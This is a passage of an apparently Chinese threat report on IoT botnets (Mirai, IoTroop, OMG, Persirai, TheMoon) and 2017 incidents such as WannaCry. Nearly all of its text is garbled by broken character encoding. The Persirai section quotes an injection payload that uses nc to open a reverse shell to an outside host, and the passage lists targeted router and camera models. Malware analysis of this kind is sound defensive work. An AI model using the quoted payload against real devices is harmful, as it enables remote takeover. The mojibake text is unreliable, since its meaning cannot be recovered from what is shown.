Ⱶ ̆C&C Ⱶ ⌠ Ḥ ᶏ Ҍ ₯ Ȃ 

 

图 150 Mirai Ѓ1Є 

 

ῒ ₯ ̆ ₯ № DDoS ̆ᶛ HTTP ₯̆UDP ₯  
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TCP ₯ ̆ ₯ C&C Ⱶ Ȃ Mirai ⱴԅ ⱳ Ȃ 

 

 

图 151 Mirai Ѓ2Є 

6.2.2 IoTroopЇ ⅎ Ὅ  

IoTroopᵬҹ 2017 ₮ IoTὅ ̆ῒ ҍץ ὅ Ҍ Ȃ

IoTroop ҩὅ ̆ ҩ Ⱶ ױז ᵬ ̆Ҋ ԅ ҩ

Ȃ 

 

 

图 152 IoTroop  

 

IoTroop ᴆ ꜚҬᶏ Һ ̆ ᵬҹ ѿ Ȃ ҍ Mirai

ף № ̆ ץ ₃ҩ Ҭ ⌠ Ȃᵖ ҍז Mirai ѿ ̔ 
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1.ToTroop C̀C Ⱶ ῃ Ḃҍץ̆ ᵬȂ ̆IoTroop C̀

C Ⱶ ᶏ PHP Ώ̆ Mirai C̀C Ⱶ ᶏ GO ΏȂ 

2. C̀C ̆C̀C Ḥ Ӟ ԅ ȂIoTroop Ҭ ҩ C̀C Ḥⱳ

ῃ ̆ ғ IoTroop ᴆ Ȃ 

3. ⱳ ף Mirai ₮ └ ⱳ Ȃ ⱳ ᶏץ

̆ ᵞ ᴆ Ȃ 

4.IoTroop ᴆҌ ᴋᵥ Mirai DDoSⱳ ; ҉ Ҍ ᴋᵥ DDoS ⱳ Ȃ

ױ ⌠ᴋᵥ DDoS ₯̆ᵖ ҍ DDoS ῏ ᵬ C̀C ̆ ᵬ

ҹ Ҋ Ȃ 

Ҋҹץ IoTroopῤ Ȃ 

 

 
 153 IoTroop Ὺ  

 

╠ ὅ Һ DDos Ȃ 

6.2.3 ҿ ש ꜙ IoTὍ OMG 

Mirai OMĞῒҍᴰ IoTὅ Ҍ Ȃ Һ IoT

ף Ⱶ ̆ ԍ ֟֜ Ȃ 

OMG IoT ᴪ C&C

�Â
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6.2.4 PersiraiЇҘ ἥ Ὅ  

Persiraiὅ 2017 ᶛӞ ҹ ̆ ῒזὅ Ӟ Ἕ

ꜚ̆ᵖ Persirai └ Ἕ ᶛ ῃ ԍῒזὅ ᶛȂ 

 

 

图 154 ┼ ἥ IoT Ὅ ᶡ 

 

ᾢ̆ ԍ Ἕ ̆ ᶏץ (UPnP) ⱳ ̆ᶏ

ץ ⌠ ̆ Ӟ ԅ IoT ᴆ Ȃ 

ὅ Һ ₯ Ҋ̔ 

1. ₯ ᶏ ֓ ₮ ᶏ פ ץ

Ἕ Web Ȃ 

2. Ҋץ ῀ פ └ Ἕ ⌠ѿҩҊ ᴆҊ ̔$(nc 

load.gtpnet.ir 1234 -e /bin/sh)Ȃ 

3.ӊ ̆ Ҋ ᴪ Ҋץ₮ פ ̆ └ Ἕ ׆

ntp.gtpnet.ir Ҋ shell ᴆȁ ᴪҊ Ҋץ ᴆ̆ −

Ȃ 

ᴪ /dev/null Ҋ ftpupdate.sh ftpupload.sh̆ץ 0day ῒ

₯Ȃ 

4. Ἕ └ ̆ᴪҍ C&C Ⱶ ḤȂ 

5. ⌠ C&C Ⱶ Ḥ ӊ ̆ Ἕ ᴪ≠ ѿҩ 0day ≠ ̆ ꜚ ῒ

Ἕ ₯ȂҌ Ἕ ̆ ₯ ≠

ᴆ̆ פ ῀Ȃ 

̆ └ Ἕ C&C Ⱶ פ DDoS ₯Ȃ 

6.2.5 TheMoonЇ⌐ IoT  

TheMoon ᴆԍ 2014 ̆Һ ץ ҹ ̆≠ ῀ Ȃ 2017 ̆

TheMoon ԅ  6  IoT ≠ ̆ ḱ ԅף Ȃ 

 

 

PeiSirai, 63%

Mirai, 27%

DvrHelper, 7%

TheMoon, 2%
1%

PeiSirai

Mirai

DvrHelper

TheMoon

ῒז
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ף׆ ₮ ̆ῒ׆ ҹ Ȃ ҉

̆ғ ҌῬ Ȃ Ӟױ ῃ ὅ Ȃ 

ף Ҭ ᴰ №ҹ ң №̆ Ҍ Ȃ №̆ ֲ ̆

ȁ ȁ ῤ ῏̆ ѿ № Ἕ ̕ № ҍ

῏Ȃ 

Ҋҹץ IoT : ASUS WRT UDP 999̆D-Link 850L̆VIVOTEK Network Cameras̆

D-Link DIR-890L D-Link DIR-645̆Linksys E-series̆D-Link 815Ȃ 

TheMoon ὅ ҍ DDOS ὅ Ҍ ̆ῒҺ ᵬ ѿҩ socks ף ̆

Ҭᴪ ⌠ѿ֓ Ȃ 
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七、总结 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

҈ɻ 
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7.1 ᴌ Їꜘ Ӏ Ḫ שׂ

 

̆ ᾣ ᴆ֟ ԊᴆҌ ⱴ̆ױ Һ Ḥ

Ȃ 

2017  5  12 WannaCry יּ ̆ᶏ Ҍ Ḥ ⌠ Ȃ

WannaCryӊ ץ ₯ⱬ ԍῒᶏ ԅ 2017  NSA ľ ӊ ĿȂ ῀№

̆2017  NSA ₯ ̆ ץ ῃ  70%  Windows ̆ғ  

Windows ῃ Ȃ ῒᶏ ľDoublePulsarĿ ѿҩ ᴆ ̆ ῤ

̆ῒ ӊ ӊ APT ₯Ҭ ⌠Ȃ ױ Ḥ̆

₯ Ὲ ӊ╠̆ҕ ҉ ᴋᵥѿ ῃ֟ ץ Ȃ ᵥ’ľ ӊ Ŀ

 2013 ̆2013 ӊ╠ᶏ ̆ Ӈ ᴪ ָӇ ≢̙  

₃Ӎ ̆ ꜚ ᾣ Ȃ ῃ IT

֟ ̂ ̃Ҭ Conexant ꜚ ῤ ԅ ԍ ֟ MicTray64.exê

̃̆ ῀̆ └Ҋ ᴆ Ȃ 

2017  11 ̆Intel  Management Enginê ̃ ᾣ Ҥ ̆ ₯

≠ץ ֟ └ ŀŀ  

ľ ĿԊᴆ ᾣ̆ ᶏ ױ Ḥ ῃᵣ ҹ‛

Ȃ ╠̆ Ḥ Ҭ̆῏ Ḥ ᶏׅ҉ץ90% ֟ Ȃ ⱴ Һ

῏ ̆ Һ ̆ Ҍ ̆

Һ ̆ Ȃ Һ ̆ ῃ̆ ῃ̆

ῃȂ 

7.2 ₵ ⌐ שׂ Ї Ὴ שׂ Ҫ  

̆ῃҕ ң ̆ ₃ 5⌠ 10 ṐȂ №ⱬל ̆

₯ ⱴ ‰̆ ᵬ ̆ Ҋ ֟ ꜚ Ȃ ₯

ҹ ᾢ ҹ ≠ ̆2017 ≠ ῖ

ᵣ ̆ Ḥ ל ׂ ᴪ ⱴ ̆ ᴪ ľ Ŀ Ȃ 

̆ ≠ ᶏ ү Ҋ̆ ₯ ȁ ȁ ȁ ΐӞᴪ ⱴ

ȁү ̆ ȁ ̆ ױ ῃ ₮ Ȃ 

7.3 ֥ Ὴ  

̆ ̆ ȁ

ȁ Ȃᵖ ԍ № ӎ ῏ ῃ

̆ ᾢ ѿ֓ ῃ ̆ᶏ ₯ ₯Ȃ ᶏ ҩ

Miraĭ ῃ ὅ IoTroop ԅ ֓ Ȃ ץ ֓

ⱴ̆ ῃ Ҥ ̆ ױ ҹ ₯ Ȃ

ⱴ ῃḠ Ȃ ῏ ֟ ֲ ῃ ̆  
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ᵞ ῃ ̆ ῃ Ӟ ᴋ ӈⱵ ֟ ῃ῏ ̆ ῃ ӊҬȂ  

7.4 Ὴ ד Ї └Ņ ņ 

2017 ῃԊᴆ ̆ױ ῏ Ḥ ῃ ⱬ

⌠ ‰ȂԊ ҉̆ ῃԊᴆ ̆ ῏ ᶫԅḱ

Ҁ̆ ῃ֟ Ⱶᶫ Ӟ ᶫԅ ‗ Ȃᵖ ױ ⌠ ᴑҙ

ѿ ᶵ ̆ ҹ ₯ ľ ĿҌᴪ ҉Ȃ ᶵ ᶏҊ

ԍľ ȁ ⱴ ȁ ῃ֟ Ŀ ῃ ᵬ ̆ט ⌠ ⌠ ₯

ꜚ ȁ ̆ ῃ Ạ⌠ ԍ Ȃ ľ֙ ҹ Ŀ̆ᵖ ѿ

₯ ᴪ֟ ̆ ԍ ῃ ⌠ľ ĿȂ  

7.5 Ὴ֥ ғ Ї  

Ԋ ̆ ᴰ ῃ֟ ῃ

Ȃ ῃ Ҭ̆Ҍᵖ ῃ ↕ ̆ ȁ

ȁֲ Ạ ᾟ̆ᴋᵥѿ ѿҌ Ȃᴰ ᴨ ԍ ѿ

₯ ̆‰ ̆ᵖ ȁ ȁ Ḥ ᴰ

̆ ľ Ŀ ԇץ ̕ ̆ ᶭ Ӟ


